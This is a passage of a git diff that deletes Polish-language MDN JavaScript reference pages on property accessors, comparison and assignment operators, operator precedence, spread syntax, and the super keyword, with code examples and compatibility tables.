property musi być nazwane poprawnie, według zasad JavaScript, innymi słowy: musi być sekwencją znaków alfanumerycznych (włączając w to znak podkreślenia oraz znak dolara), która nie zaczyna się od cyfry. Na przykład: object.$1 jest poprawny, natomiast object.1 jest nieprawidłowy.

- -

Przykład:

- -
document.createElement('pre');
-
- -

Metoda "createElement" jest wywoływana z poziomu document.

- -
Zapis z nawiasem
- -
get = object[property_name];
-object[property_name] = set;
-
- -

property_name jest łańcuchem znaków, nie musi być poprawnym identyfikatorem - może być zupełnie dowolny, przykładowo: "1foo", "!bar!" lub nawet " " (spacja).

- -
document['createElement']('pre');
-
- -

Mimo różnic, powyższa notacja wykonuje dokładnie to samo co zapis z kropką.

- -

Nazwy właściwości

- -

Nazwy właściwości muszą być łańcuchami. Oznacza to, że nazwy nie będące łańcuchami nie mogą być używane jako klucze w obiekcie. Dowolny obiekt nie będący łańcuchem, wliczając w to liczby, zostanie zrzutowany do obiektu string poprzez metodę {{jsxref("Object.toString", "toString()")}}.

- -
var object = {};
-object['1'] = 'value';
-alert(object[1]);
-
- -

Powyższy kod wyświetla "value", ponieważ 1 został zrzutowany do '1'.

- -
var foo = {unique_prop: 1}, bar = {unique_prop: 2}, object = {};
-object[foo] = 'value';
-console.log(object[bar]);
-
- -

W tym przykładzie także zostanie wypisany "value", ponieważ zarówno foo jak i bar zostały skonwertowane do tego samego łańcucha. W silniku JavaScript SpiderMonkey, łańcuch będzie wyglądał następująco: "{{ mediawiki.external('object Object') }}".

- -

Wiązanie metod

- -

Metoda nie jest powiązana z obiektem, którego jest metodą. Innymi słowy: this w metodzie nie jest ustawiony na sztywno. Nie musi on koniecznie odnosić się do obiektu zawierającego metodę. Zamiast tego this jest przekazywany do funkcji podczas jej wywoływania. Zajrzyj do wiązania metod po więcej informacji.

- -

Uwaga dotycząca eval

- -

Początkujący programiści JavaScript popełniają częsty błąd, używając eval tam gdzie może być użyty zapis z nawiasem. Poniżej zaprezentowany jest przykład.

- -
x = eval('document.form_name.' + strFormControl + '.value');
-
- -

eval jest wolno-działającą funkcją i powinien być jak najrzadziej używany. Zoptymalizowany fragment kodu brzmi:

- -
x = document.form_name[strFormControl].value;
-
- - -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ESDraft', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-property-accessors', 'Property Accessors')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.2.1', 'Property Accessors')}}{{Spec2('ES5.1')}} 
{{SpecName('ES1', '#sec-11.2.1', 'Property Accessors')}}{{Spec2('ES1')}}Definicja początkowa. Zaimplementowana w JavaScript 1.0.
- -

Kompatybilność z przeglądarkami

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
-
- -

Zobacz również

- - diff --git "a/files/pl/web/javascript/referencje/operatory/operatory_por\303\263wnania/index.html" "b/files/pl/web/javascript/referencje/operatory/operatory_por\303\263wnania/index.html" deleted file mode 100644 index 0184512551..0000000000 --- "a/files/pl/web/javascript/referencje/operatory/operatory_por\303\263wnania/index.html" +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Operatory porównania -slug: Web/JavaScript/Referencje/Operatory/Operatory_porównania -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators -translation_of_original: Web/JavaScript/Reference/Operators/Comparison_Operators ---- -
{{jsSidebar("Operators")}}
- -

Podsumowanie

- -

Operandy posiadają wartość liczbową lub łańcucha znaków. Łańcuchy znaków są porównywane w oparciu o zasady pisowni, używają wartości Unicode.

- -

Jako rezultat porównania zwracana jest wartość logiczna.

- - - -

Następująca tabela opisuje operatory porównania:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
OperatorOpisPrzykłady zwracające prawdę (true)1
Równy (==)Zwraca true jeżeli operandy są równe. Jeżeli operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ. -

3 == var1
- "3" == var1
- 3 == '3'

-
Różny (!=)Zwraca true jeżeli operandy są różne. Jeżeli dwa operandy nie są tego samego typu, JavaScript próbuje przekształcić operandy na odpowiedni dla porównania typ. -

var1 != 4
- var1 != "3"

-
Identyczny (===)Zwraca true jeżeli operandy są równe i tego samego typu. -

3 === var1

-
Nieidentyczny (!==)Zwraca true jeżeli operandy nie są równe i/lub nie są tego samego typu. -

var1 !== 3
- 3 !== '3'

-
Większy niż (>)Zwraca true jeżeli lewy operand jest większy od prawego operandu. -

var2 > var1

-
Większy - równy (>=)Zwraca true jeżeli lewy operand jest większy lub równy prawemu operandowi. -

var2 >= var1
- var1 >= 3

-
Mniejszy niż (<)Zwraca true, jeśli lewy operand jest mniejszy, niż prawy. -

var1 < var2

-
Mniejszy - równy (<=)Zwraca true jeżeli lewy operand jest mniejszy lub równy prawemu operandowi. -

var1 <= var2
- var2 <= 5

-
- -

1 Te przykłady zakładają, że var1 będzie przydzielona wartość 3 i var2 będzie miała przydzieloną wartość 4.

- -

Używanie operatorów porównania

- -

Standardowe operatory(== i !=) porównują dwa operandy bez względu na ich typ. Operatory porównania identyczności(=== i !==) dokonują porównania równości na operandach tego samego typu. Operatorów identyczności używamy jeżeli operandy muszą być określonego typu jak również wartości lub jeśli dokładny typ operandów jest ważny. W przeciwnym razie, używamy standardowych operatorów porównania, które pozwalają na porównać identyczność dwóch operandów nawet jeżeli nie są takiego samego typu.

- -

Kiedy potrzebna jest konwersja, JavaScript następująco przekształca operand Number, Boolean lub Object.

- - - -

You cannot use the standard equality operator (==) to compare instances of JSObject. Use the JSObject.equals method for such comparisons.

- -

Kompatybilność wsteczna

- -

Zachowanie standardowych operatorów porównania (== i !=) zależy od wersji JavaScript.

- -

JavaScript 1.3 i wersje wcześniejsze

- -

You can use either the standard equality operator (==) or JSObject.equals to compare instances of JSObject.

- -

JavaScript 1.2

- -

The standard equality operators (== and !=) do not perform a type conversion before the comparison is made. Operatory identyczności (=== i !==) są niedostępne.

- -

JavaScript 1.1 i wersje wcześniejsze

- -

The standard equality operators (== and !=) perform a type conversion before the comparison is made.Operatory identyczności (=== i !==) są niedostępne.

diff --git a/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html b/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html deleted file mode 100644 index 8c1e9b85f3..0000000000 --- a/files/pl/web/javascript/referencje/operatory/operatory_przypisania/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: Operatory przypisania -slug: Web/JavaScript/Referencje/Operatory/Operatory_przypisania -tags: - - JavaScript - - Operator -translation_of: Web/JavaScript/Reference/Operators#Assignment_operators -translation_of_original: Web/JavaScript/Reference/Operators/Assignment_Operators ---- -
{{jsSidebar("Operators")}}
- -

Podsumowanie

- -

Operator przypisania przypisuje wartość swego prawego operandu do operandu lewego.

- -

Podstawowy operator przypisania to znak równości (=), który przypisuje wartość prawego operandu do lewego. To znaczy, że x = y przypisuje wartość zmiennej y do zmiennej x. Pozostałe operatory przypisania to zwykle skróty dla operacji standardowych, jak w poniższej tabeli.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Operator skróconyZnaczenie
x += yx = x + y
x -= yx = x - y
x *= yx = x * y
x /= yx = x / y
x %= yx = x % y
x <<= yx = x << y
x >>= yx = x >> y
x >>>= yx = x >>> y
x &= yx = x & y
x ^= yx = x ^ y
x |= yx = x | y
- -

-

 
-

- -

 

diff --git "a/files/pl/web/javascript/referencje/operatory/pierwsze\305\204stwo_operator\303\263w/index.html" "b/files/pl/web/javascript/referencje/operatory/pierwsze\305\204stwo_operator\303\263w/index.html" deleted file mode 100644 index 87765f3e1a..0000000000 --- "a/files/pl/web/javascript/referencje/operatory/pierwsze\305\204stwo_operator\303\263w/index.html" +++ /dev/null @@ -1,336 +0,0 @@ ---- -title: Pierwszeństwo operatorów -slug: Web/JavaScript/Referencje/Operatory/Pierwszeństwo_operatorów -tags: - - JavaScript - - Operator - - pierwszeństwo -translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence ---- -
{{jsSidebar("Operators")}}
- -
- -
Pierwszeństwo operatorów ustala kolejność, w jakiej operatory są ewaluowane. Operatory z wyższym pierwszeństwem są ewaluowane jako pierwsze.
- -
- -

Prosty przykład:

- -
3 + 4 * 5 // zwraca 23
-
- -

Operator mnożenia ("*") ma wyższe pierwszeństwo niż operator dodawania ("+") i dlatego będzie ewaluowany jako pierwszy.

- -

Łączność

- -

Łączność określa kolejność, w jakiej przetwarzane są operatory o takim samym pierwszeństwie. Przykłądowo, rozważny wyrażenie:

- -
a OP b OP c
-
- -

Jeżeli  OP1 and OPmają różne poziomy pierwszeństwa operatorów (patrz tabela poniżej), operator z wyższym poziomem pierwszeństwa zostanie wykonany jako pierwszy, a kolejność zapisu nie ma znaczenia. Zwróćmy uwagę na w poniższym przykładzie, że mnożenie ma wyższy poziom pierwszeństwa i tym samym zostanie wykonane jako pierwsze, pomimo tego, że to dodawanie jest zapisane w kodzie jako pierwsze.

- -
console.log(3 + 10 * 2);   // wynik 23
-console.log(3 + (10 * 2)); // wynik 23 ponieważ nawiasy tutaj nie mają znaczenia
-console.log((3 + 10) * 2); // wynik 26 ponieważ nawiasy zmieniają kolejność działań
- -

Lewo-łączność (od lewej do prawej) oznacza, iż będzie ono przetworzone jako (a OP b) OP c, podczas gdy prawo-łączność (od prawej do lewej) oznacza, iż będzie ono zinterpretowane jako a OP (b OP c). Operatory przypisania są prawo-łączne, więc możesz napisać:

- -
a = b = 5;
-
- -

oczekując, że a i b otrzymają wartość 5. Wynika to z faktu, iż operator przypisania zwraca wartość, która jest przypisana. Najpierw wartość b ustawiana jest na 5, a następnie wartość zmiennej a jest ustawiana na wartość b.

- -

Tabela

- -

Poniższa tabela uporządkowana jest od najwyższego (19) do najniższego (0) pierwszeństwa.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PierwszeństwoRodzaj operatoraŁącznośćOperator
19Groupingn/a( … )
18Member Accessleft-to-right… . …
Computed Member Accessleft-to-right… [ … ]
new (z listą argumentów)n/anew … ( … )
17Wywołanie funkcjileft-to-right… ( … )
new (bez listy argumentów)right-to-leftnew …
16Postinkrementacjan/a… ++
Postdekrementacjan/a… --
15Negacja logiczna (NOT)right-to-left! …
Negacja bitowa (NOT)right-to-left~ …
Unary Plusright-to-left+ …
Unary Negationright-to-left- …
Preinkrementacjaright-to-left++ …
Predekrementacjaright-to-left-- …
typeofright-to-lefttypeof …
voidright-to-leftvoid …
deleteright-to-leftdelete …
14Mnożenieleft-to-right… * …
Dzielenieleft-to-right… / …
Reszta z dzielenialeft-to-right… % …
13Dodawanieleft-to-right… + …
Odejmowanieleft-to-right… - …
12Bitowe przesunięcie w lewoleft-to-right… << …
Bitowe przesunięcie w prawoleft-to-right… >> …
Bitowe przesunięcie w prawo bez znakuleft-to-right… >>> …
11Mniejsze niżleft-to-right… < …
Mniejsze lub równeleft-to-right… <= …
Większe niżleft-to-right… > …
Większe lub równeleft-to-right… >= …
inleft-to-right… in …
instanceofleft-to-right… instanceof …
10Równośćleft-to-right… == …
Nierównośćleft-to-right… != …
Ścisła równośćleft-to-right… === …
Ścisła nierównośćleft-to-right… !== …
9Koniunkcja bitowa (AND)left-to-right… & …
8Bitowa alternatywa wykluczająca (XOR)left-to-right… ^ …
7Alternatywa bitowa (OR)left-to-right… | …
6Koniunkcja logiczna (AND)left-to-right… && …
5Alternatywa logiczna (OR)left-to-right… || …
4Warunekright-to-left… ? … : …
3Przypisanieright-to-left… = …
… += …
… -= …
… *= …
… /= …
… %= …
… <<= …
… >>= …
… >>>= …
… &= …
… ^= …
… |= …
2yieldright-to-leftyield …
1Spreadn/a... …
0Comma / Sequenceleft-to-right… , …
diff --git "a/files/pl/web/javascript/referencje/operatory/sk\305\202adnia_rozwini\304\231cia/index.html" "b/files/pl/web/javascript/referencje/operatory/sk\305\202adnia_rozwini\304\231cia/index.html" deleted file mode 100644 index a45d730722..0000000000 --- "a/files/pl/web/javascript/referencje/operatory/sk\305\202adnia_rozwini\304\231cia/index.html" +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: Składnia rozwinięcia -slug: Web/JavaScript/Referencje/Operatory/Składnia_rozwinięcia -translation_of: Web/JavaScript/Reference/Operators/Spread_syntax ---- -
{{jsSidebar("Operators")}}
- -
Składnia rozwinięcia (ang. spread syntax) pozwala na rozwinięcie iterowalnego wyrażenia, takiego jak wyrażenie tablicowe lub ciąg znaków, tam gdzie oczekiwanych jest zero lub więcej argumentów (dla wywołań funkcji) lub elementów (dla literałów tablicowych). Pozwala również na rozwinięcie wyrażeń obiektowych w miejscach, gdzie oczekiwanych jest zero lub więcej par klucz-wartość (dla literałów obiektowych).
- -
 
- -
{{EmbedInteractiveExample("pages/js/expressions-spreadsyntax.html")}}
- - - -

Składnia

- -

Dla wywołań funkcji:

- -
mojaFunkcja(...iterowalnyObiekt);
-
- -

Dla literałów tablicowych lub łańcuchów znaków:

- -
[...iterowalnyObiekt, '3', 'cztery', 5];
- -

Dla literałów obiektowych (nowe w ECMAScript 2018):

- -
let klonObiektu = { ...obiekt };
- -

Przykłady

- -

Rozwinięcie w wywołaniach funkcji

- -

Zastąpienie apply

- -

Powszechne jest używanie {{jsxref( "Function.prototype.apply")}} w przypadkach, w których chcemy użyć elementów tablicy jako argumentów funkcji.

- -
function mojaFunkcja(x, y, z) { }
-var argumenty = [0, 1, 2];
-mojaFunkcja.apply(null, argumenty);
- -

Przy użyciu operatora rozpakowania można to zapisać jako:

- -
function mojaFunkcja(x, y, z) { }
-var argumenty = [0, 1, 2];
-mojaFunkcja(...argumenty);
- -

Każdy argument na liście argumentów może użyć operatora rozpakowania, można go także używać wielokrotnie.

- -
function mojaFunkcja(v, w, x, y, z) { }
-var argumenty = [0, 1];
-mojaFunkcja(-1, ...argumenty, 2, ...[3]);
- -

Apply for new

- -

When calling a constructor with new, it's not possible to directly use an array and apply (apply does a [[Call]] and not a [[Construct]]). However, an array can be easily used with new thanks to spread syntax:

- -
var dateFields = [1970, 0, 1];  // 1 Jan 1970
-var d = new Date(...dateFields);
-
- -

To use new with an array of parameters without spread syntax, you would have to do it indirectly through partial application:

- -
function applyAndNew(constructor, args) {
-   function partial () {
-      return constructor.apply(this, args);
-   };
-   if (typeof constructor.prototype === "object") {
-      partial.prototype = Object.create(constructor.prototype);
-   }
-   return partial;
-}
-
-
-function myConstructor () {
-   console.log("arguments.length: " + arguments.length);
-   console.log(arguments);
-   this.prop1="val1";
-   this.prop2="val2";
-};
-
-var myArguments = ["hi", "how", "are", "you", "mr", null];
-var myConstructorWithArguments = applyAndNew(myConstructor, myArguments);
-
-console.log(new myConstructorWithArguments);
-// (internal log of myConstructor):           arguments.length: 6
-// (internal log of myConstructor):           ["hi", "how", "are", "you", "mr", null]
-// (log of "new myConstructorWithArguments"): {prop1: "val1", prop2: "val2"}
- -

Rozwinięcie w literałach tablicowych

- -

Potężniejszy literał tablicowy

- -

Bez składni rozwinięcia, aby utworzyć nową tablicę, używając tablicy już istniejącej jako jej części, składnia literału tablicowego nie jest już wystarczająca i musimy użyć kodu imperatywnego, używając kombinacji push, splice, concat itd. Z użyciem składni rozwinięcia staje się to o wiele prostsze i bardziej zwięzłe:

- -
var czesci = ['kotek', 'na', 'plotek'];
-var wierszyk = ['wlazl', ...czesci, 'i', 'mruga'];
-// ["wlazl", "kotek", "na", "plotek", "i", "mruga"]
-
- -

Tak jak dla list argumentów w wywołaniach funkcji, operator ... może być użyty wielokrotnie i w każdym miejscu literału tablicowego.

- -

Kopia tablicy

- -
var tab = [1, 2, 3];
-var tab2 = [...tab]; // jak tab.slice()
-tab2.push(4);
-
-// tab2 staje się [1, 2, 3, 4]
-// tab pozostaje niezmieniona
-
- -

Uwaga: Składnia rozwinięcia skutecznie sięga tylko na jeden poziom wgłąb przy kopiowaniu tablicy. W związku z tym takie podejście może być nieodpowiednie przy kopiowaniu tablic wielowymiarowych, jak pokazuje poniższy przykład (tak samo jest z {{jsxref("Object.assign()")}}  i kładnią rozwinięcia).

- -
var a = [[1], [2], [3]];
-var b = [...a];
-b.shift().shift(); // 1
-// Tablica a została zmodyfikowana: [[], [2], [3]]
-
- -

Lepszy sposób na łączenie tablic

- -

{{jsxref("Array.concat")}} jest często używane do dołączania elementów jednej tablicy na koniec drugiej. Bez składni rozwinięcia wygląda to tak:

- -
var tab1 = [0, 1, 2];
-var tab2 = [3, 4, 5];
-// Dołącz wszystkie elementy tab2 na koniec tab1
-tab1 = tab1.concat(tab2);
- -

Przy użyciu składni rozwinięcia wygląda to natomiast tak:

- -
var tab1 = [0, 1, 2];
-var tab2 = [3, 4, 5];
-tab1 = [...tab1, ...tab2];
-
- -

{{jsxref("Array.unshift")}} jest często używane do dołączania elementów jednej tablicy na początek drugiej. Bez składni rozwinięcia wygląda to w następujący sposób:

- -
var tab1 = [0, 1, 2];
-var tab2 = [3, 4, 5];
-// Dodaj wszystkie elementy tab2 na początek tab1
-Array.prototype.unshift.apply(tab1, tab2) // tab1 staje się [3, 4, 5, 0, 1, 2]
- -

Przy użyciu składni rozwinięcia otrzymuje to następującą postać [jednak zauważ, że w tym przypadku utworzona zostaje nowa tablica tab1 – w odróżnieniu od {{jsxref("Array.unshift")}}, tab1 nie jest automatycznie modyfikowana):

- -
var tab1 = [0, 1, 2];
-var tab2 = [3, 4, 5];
-tab1 = [...tab2, ...tab1]; // tab1 staje się [3, 4, 5, 0, 1, 2]
-
- -

Rozwinięcie w literałach tablicowych

- -

The Rest/Spread Properties for ECMAScript proposal (stage 4) adds spread properties to object literals. It copies own enumerable properties from a provided object onto a new object.

- -

Shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.

- -
var obj1 = { foo: 'bar', x: 42 };
-var obj2 = { foo: 'baz', y: 13 };
-
-var clonedObj = { ...obj1 };
-// Object { foo: "bar", x: 42 }
-
-var mergedObj = { ...obj1, ...obj2 };
-// Object { foo: "baz", x: 42, y: 13 }
- -

Note that {{jsxref("Object.assign()")}} triggers setters whereas spread syntax doesn't.

- -

Note that you cannot replace nor mimic the {{jsxref("Object.assign()")}} function:

- -
var obj1 = { foo: 'bar', x: 42 };
-var obj2 = { foo: 'baz', y: 13 };
-const merge = ( ...objects ) => ( { ...objects } );
-
-var mergedObj = merge ( obj1, obj2);
-// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } }
-
-var mergedObj = merge ( {}, obj1, obj2);
-// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }
- -

In the above example, the spread syntax does not work as one might expect: it spreads an array of arguments into the object literal, due to the rest parameter.

- -

Tylko dla obiektów iterowalnych

- -

Składnia rozwinięcia może być użyta jedynie dla obiektów iterowalnych:

- -
var obiekt = {'klucz1': 'wartosc1'};
-var tablica = [...obiekt]; // TypeError: obiekt is not iterable
-
- -

Rozwinięcie z wieloma wartościami

- -

Kiedy używaż składni rozwinięcia do wywołań funkcji, musisz być świadomy możliwości przekroczenia limitu liczby argumentów w silniku JavaScript. Po więcej szczegółów zajrzyj do apply().

- -

Składnia reszty (parametry)

- -

Składnia reszty ang. rest syntax) wygląda dokładnie jak składnia rozwinięcia, ale jest używana do destrukturyzacji tablic i obiektów. W pewnym sensie składnia reszty jest przeciwieństwem składni rozpakowania: rozwinięcie „rozpakowuje” elementy tablicy, natomiast składnia reszty „zbiera” wiele elementów i „pakuje” je do pojedynczego elementu. Zobacz: rest parameters.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-array-initializer')}}{{Spec2('ES2015')}}Defined in several sections of the specification: Array Initializer, Argument Lists
{{SpecName('ES2018', '#sec-object-initializer')}}{{Spec2('ES2018')}}Defined in Object Initializer
{{SpecName('ESDraft', '#sec-array-initializer')}}{{Spec2('ESDraft')}}No changes.
{{SpecName('ESDraft', '#sec-object-initializer')}}{{Spec2('ESDraft')}}No changes.
- -

Wsparcie przeglądarek

- - - -

{{Compat("javascript.operators.spread")}}

- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/spread_operator/index.html b/files/pl/web/javascript/referencje/operatory/spread_operator/index.html deleted file mode 100644 index c8cc1533f8..0000000000 --- a/files/pl/web/javascript/referencje/operatory/spread_operator/index.html +++ /dev/null @@ -1,230 +0,0 @@ ---- -title: Spread syntax -slug: Web/JavaScript/Referencje/Operatory/Spread_operator -tags: - - ECMAScript 2015 - - Iterator - - JavaScript - - Operator Rozwinięcia -translation_of: Web/JavaScript/Reference/Operators/Spread_syntax -translation_of_original: Web/JavaScript/Reference/Operators/Spread_operator ---- -
{{jsSidebar("Operators")}}
- -

Operator spread umożliwia rozwinięcie wyrażenia. Składnia rozwinięcia pozwala na rozwinięcie wyrażenia w miejscach, w których potrzebne jest wiele argumentów (do wywołań funkcji), wiele elementów (do literałów tablicowych) lub wiele zmiennych ().

- -

Składnia

- -

Do wywołań funkcji:

- -
mojaFunkcja(...iterowalnyObiekt);
-
- -

Do literałów tablicowych:

- -
[...iterowalnyObiekt, 4, 5, 6]
- -

 

- -

Do przypisań destrukturyzujących:

- -
var [glowa, ...ogon] = [1, 2, 3, 4]
- -

Przykłady

- -

Lepsze zastosowanie

- -

Przykład: powszechne jest użycie {{jsxref( "Function.prototype.apply")}} w przypadkach, gdy chcesz użyć tablic jako argumentów funkcji.

- -
function mojaFunkcja(x, y, z) { }
-var args = [0, 1, 2];
-mojaFunkcja.apply(null, args);
- -

Ze składnią rozwinięcia (spread) ES2015 powyższy kod można zapisać jako:

- -
function mojaFunkcja(x, y, z) { }
-var args = [0, 1, 2];
-mojaFunkcja(...args);
- -

Dowolny argument w liście argumentów może użyć składni rozwinięcia i może być użyty wiele razy.

- -
function myFunction(v, w, x, y, z) { }
-var args = [0, 1];
-myFunction(-1, ...args, 2, ...[3]);
- -

Potężniejszy literał tablicowy

- -

Przykład: Jeżeli masz tablicę i chcesz utworzyć nową tablicę z tą tablicą jako jej częścią, składnia literału tablicowego nie jest już wystarczająca i należy cofnąć się do programowania imperatywnego, użyć kombinacji push, splice, concat, itp. Z użyciem składni rozwinięcia wygląda to dużo prościej:

- -
var czesci = ['ramiona', 'kolana'];
-var rymowanka = ['glowa', ...czesci, 'i', 'palce']; // ["glowa", "ramiona", "kolana", "i", "palce"]
-
- -

Tak samo jak rozwinięcie może być użyte do list argumentów, ... mogą być użyte wszędzie w literale tablicowym, także wiele razy.

- -

Zastosowanie z new

- -

Przykład: W ES5 nie jest możliwa kompozycja newapply. (W ES5, apply wykonuje [[Call]], a nie [[Construct]].) W ES2015 składnia rozwinięcia wygląda następująco:

- -
var daty = czytajDaty(bazaDanych);
-var d = new Date(...daty);
- -

Kopiowanie tablicy

- -
var tablica = [1,2,3];
-var tablica2 = [...tablica]; // jak tablica.slice()
-tablica2.push(4); // tablica2 staje się [1,2,3,4], tablica pozostaje niezmieniona
-
-
- -

Ulepszone push

- -

Przykład: {{jsxref("Global_Objects/Array/push", "push")}} jest często używany, by dodać tablicę na koniec innej tablicy. W ES5 jest to często osiągane przez:

- -
var tablica1 = [0, 1, 2];
-var tablica2 = [3, 4, 5];
-// Dodaj wszystkie elementy z tablica2 do tablica1
-Array.prototype.push.apply(tablica1, tablica2);
- -

W ES2015 z rozwinięciem wygląda to następująco:

- -
var tablica1 = [0, 1, 2];
-var tablica2 = [3, 4, 5];
-tablica1.push(...tablica2);
- -

Użycie jedynie dla obiektów iterowalnych

- -
var obiekt = {"klucz1":"wartosc1"};
-function mojaFunkcja(x) {
-   /* ... */
-}
-// proba rozwinięcia nieiterowalnego elementu
-// spowoduje błąd
-mojaFunkcja(...obiekt);
-var args = [...obiekt];
-// TypeError: obiekt is not iterable
- -

Operator reszty

- -

Operator reszty, który wygląda dokładnie jak składnia rozwinięcia (spread), jest używany do destrukturyzacji obiektów i tablic. W pewnym stopniu, elementy reszty są przeciwieństwem elementów rozwinięcia: rozwinięcie 'rozbija' tablicę na elementy, natomiast reszta zbiera wiele elementów i 'zwija' je w jeden element.

- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStanKomentasz
{{SpecName('ES2015', '#sec-array-initializer')}}{{Spec2('ES2015')}}Zdefiniowany w kilku sekcjach specyfikacji: Array Initializer, Argument Lists
{{SpecName('ESDraft', '#sec-array-initializer')}}{{Spec2('ESDraft')}} 
- -

Kompatybilność przeglądarek

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunkcjaChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Operacja rozwinięcia w literałach tablicowych{{CompatChrome("46")}}{{ CompatGeckoDesktop("16") }}{{CompatIE("Edge")}}{{CompatNo}}7.1
Operacja rozwinięcia w wywołaniach funkcji{{CompatChrome("46")}}{{ CompatGeckoDesktop("27") }}{{CompatIE("Edge")}}{{CompatNo}}7.1
Operacja rozwinięcia w destrukturyzacji{{CompatChrome("49")}}{{ CompatGeckoDesktop("34") }}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FunkcjaAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Operacja rozwinięcia w literałach tablicowych{{CompatNo}}{{CompatChrome("46")}}{{ CompatGeckoMobile("16") }}{{CompatNo}}{{CompatNo}}8{{CompatChrome("46")}}
Operacja rozwinięcia w wywołaniach funkcji{{CompatNo}}{{CompatChrome("46")}}{{ CompatGeckoMobile("27") }}{{CompatNo}}{{CompatNo}}8{{CompatChrome("46")}}
Operacja rozwinięcia w destrukturyzacji{{CompatNo}}{{CompatNo}}{{ CompatGeckoDesktop("34") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
-
- -

Zobacz też

- - diff --git a/files/pl/web/javascript/referencje/operatory/super/index.html b/files/pl/web/javascript/referencje/operatory/super/index.html deleted file mode 100644 index c217af33e9..0000000000 --- a/files/pl/web/javascript/referencje/operatory/super/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: super -slug: Web/JavaScript/Referencje/Operatory/super -translation_of: Web/JavaScript/Reference/Operators/super ---- -
{{jsSidebar("Operators")}}
- -

Słowo kluczowe super jest wykorzystywane do udostępniania i korzystania z funkcji klasy po której nasz obiekt dziedziczy.

- -

Wyrażenia super.prop i super[expr] są poprawne w każdej definicji metody zarówno w klasach i literałach obiektowych.

- -

Składnia

- -
super([arguments]); // wywołuje konstruktor klasy rodzica
-super.functionOnParent([arguments]);
-
- -

Opis

- -

W przypadku użycia w konstruktorze, słowo kluczowe super pojawia się samodzielnie i musi zostać użyte przed użyciem słowa kluczowego this . Słowo kluczowe super  można również wykorzystać do wywoływania funkcji które nasz obiekt odziedziczył po swoim rodzicu.

- -

Przykład

- -

Użycie super w klasach

- -

Poniższy snippet został pobrany z próbki klasy (live demo). W tym przykładzie, super() jest wywoływane w celu uniknięcia powielania tych części konstruktora, które są wspólne zarówno dla Rectangle (trójkąta) jak i Square (kwadratu).

- -
class Rectangle {
-  constructor(height, width) {
-    this.name = 'Rectangle';
-    this.height = height;
-    this.width = width;
-  }
-  sayName() {
-    console.log('Hi, I am a ', this.name + '.');
-  }
-  get area() {
-    return this.height * this.width;
-  }
-  set area(value) {
-    this._area = value;
-  }
-}
-
-class Square extends Rectangle {
-  constructor(length) {
-    this.height; // ReferenceError, super needs to be called first!
-
-    // Wywołanie konstruktora klasy nadrzędnej
-    // określenie szerokości i wysokości prostokąta
-    super(length, length);
-    // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż
-    // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia.
-    this.name = 'Square';
-  }
-}
- -

Super-wywołanie metod statycznych

- -

Za pomocą super jesteś w stanie także wywołać metody statyczne.

- -
class Rectangle {
-  constructor() {}
-  static logNbSides() {
-    return 'I have 4 sides';
-  }
-}
-
-class Square extends Rectangle {
-  constructor() {}
-  static logDescription() {
-    return super.logNbSides() + ' which are all equal';
-  }
-}
-Square.logDescription(); // 'I have 4 sides which are all equal'
-
- -

Usuwanie właściwości z super wyrzuci błąd

- -

Nie możesz użyć operatora usuwania oraz super.prop bądź super[expr] w celu usunięcia właściwości klasy rodzica ponieważ zostanie zwrócony błąd {{jsxref("ReferenceError")}}.

- -
class Base {
-  constructor() {}
